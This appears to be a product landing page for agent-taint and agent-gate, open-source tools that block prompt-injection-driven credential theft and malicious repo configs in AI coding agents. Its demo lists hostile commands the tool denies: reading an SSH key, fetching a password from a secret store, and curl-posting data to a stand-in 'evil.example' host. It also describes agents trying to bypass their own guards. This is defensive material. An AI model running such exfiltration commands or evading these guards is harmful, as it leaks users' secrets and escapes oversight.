v0.3.5 · Open Source (MIT / Apache-2.0) · Single Rust Binary

Least-privilege runtime security for AI coding agents.

Enforce information-flow control, per-repo capability profiles, kernel sandboxing, and signed repo config gates locally in milliseconds — across Claude Code, Cursor, VS Code Copilot, Antigravity, and OpenCode.

$curl -fsSL https://taintd.dev/install.sh | bash $agent-taint install claude

Breaking the lethal trifecta at runtime

Instead of fragile regexes trying to detect prompt injection text, agent-taint tracks information flow per session. Once untrusted external data enters context, credential reads and network egress are blocked automatically.

bash examples/demo.sh
1.git status ALLOW · clean session
2.WebFetch https://blog.example/fix-build-error SESSION TAINTED
3.cat ~/.ssh/id_rsa DENY · credential read
4.bw get password prod-aws DENY · secret store CLI
5.curl -s https://evil.example/exfil -d @- DENY · network egress
6.agent-taint clear <session-id> ASK · self-bypass guard
7.agent-taint review AUDIT LOG · 0 secrets leaked

Two layers of defense, zero cloud dependency

Run locally in milliseconds on every tool call. Pair agent-gate for repo config integrity with agent-taint for runtime exfiltration prevention.

Layer 1 · Pre-session & Mid-session

agent-gate

Stops malicious pull requests and cloned repos from sneaking rogue hooks, MCP servers, or prompt rules into your coding agent.

  • Hashes & verifies .claude/, .cursor/, .mcp.json, AGENTS.md, CLAUDE.md
  • Blocks untrusted or modified repo configs before the first tool executes
  • Re-verifies mid-session if a git checkout or tool modifies agent configs
  • Explicit human approval workflow per repo fingerprint
Explore agent-gate →
Layer 2 · Runtime Flow Control

agent-taint

Tracks untrusted input and credential reads per session, enforcing fail-closed policies and optional kernel-level OS sandboxing (Linux bwrap & macOS Seatbelt).

  • Forward & reverse trifecta: untrusted input blocks secrets, secret reads block egress
  • Self-protection in every session — agents cannot edit policies, hooks, or binaries
  • Subagent laundering guard asks before spawning child agents from tainted sessions
  • Guided /taint-setup, audit learn mode, and interactive /taint-review
Explore agent-taint →

One policy across all five AI coding harnesses

Developers switch editors; your security boundary shouldn't disappear when they do. Both agent-taint and agent-gate install natively into every major harness.

Claude Code

agent-taint install claude

Fail-closed Pre/PostToolUse hooks in ~/.claude/settings.json plus marketplace plugin.

Cursor

agent-taint install cursor

Merges into ~/.cursor/hooks.json with failClosed: true.

VS Code / Copilot

agent-taint install vscode

Installs global Copilot agent hooks into ~/.copilot/hooks/.

Google Antigravity

agent-taint install agy

Native plugin with interactive force_ask prompts and skills.

OpenCode

agent-taint install opencode

Fail-closed TypeScript plugin installed in ~/.config/opencode/plugins/.

Open-source core. Built for security teams.

Permissively licensed for individual developers forever. Paid pilots and fleet controls for engineering and security teams rolling out coding agents at scale.

Open Source · Available Now
$0
MIT OR Apache-2.0 · Forever
  • agent-taint & agent-gate Rust CLIs
  • All 5 harnesses (Claude, Cursor, VS Code, Antigravity, OpenCode)
  • Local policy.json & per-repo profiles
  • Kernel OS sandbox (Linux bwrap & macOS Seatbelt)
  • Audit mode & interactive /taint-review
Install from GitHub
Team / Enterprise · Early Access
Contact us
Waitlist open · Tailored to your team
  • Ed25519-signed fleet policies & drift tracking
  • Shadow MCP inventory & approval workflow
  • Privacy-first centralized audit ingest & SOC2 CSV export
  • Real-time alerts, remote command approvals & taint lift
  • Zero-trust E2EE audit storage (age / GPG)
Join Early Access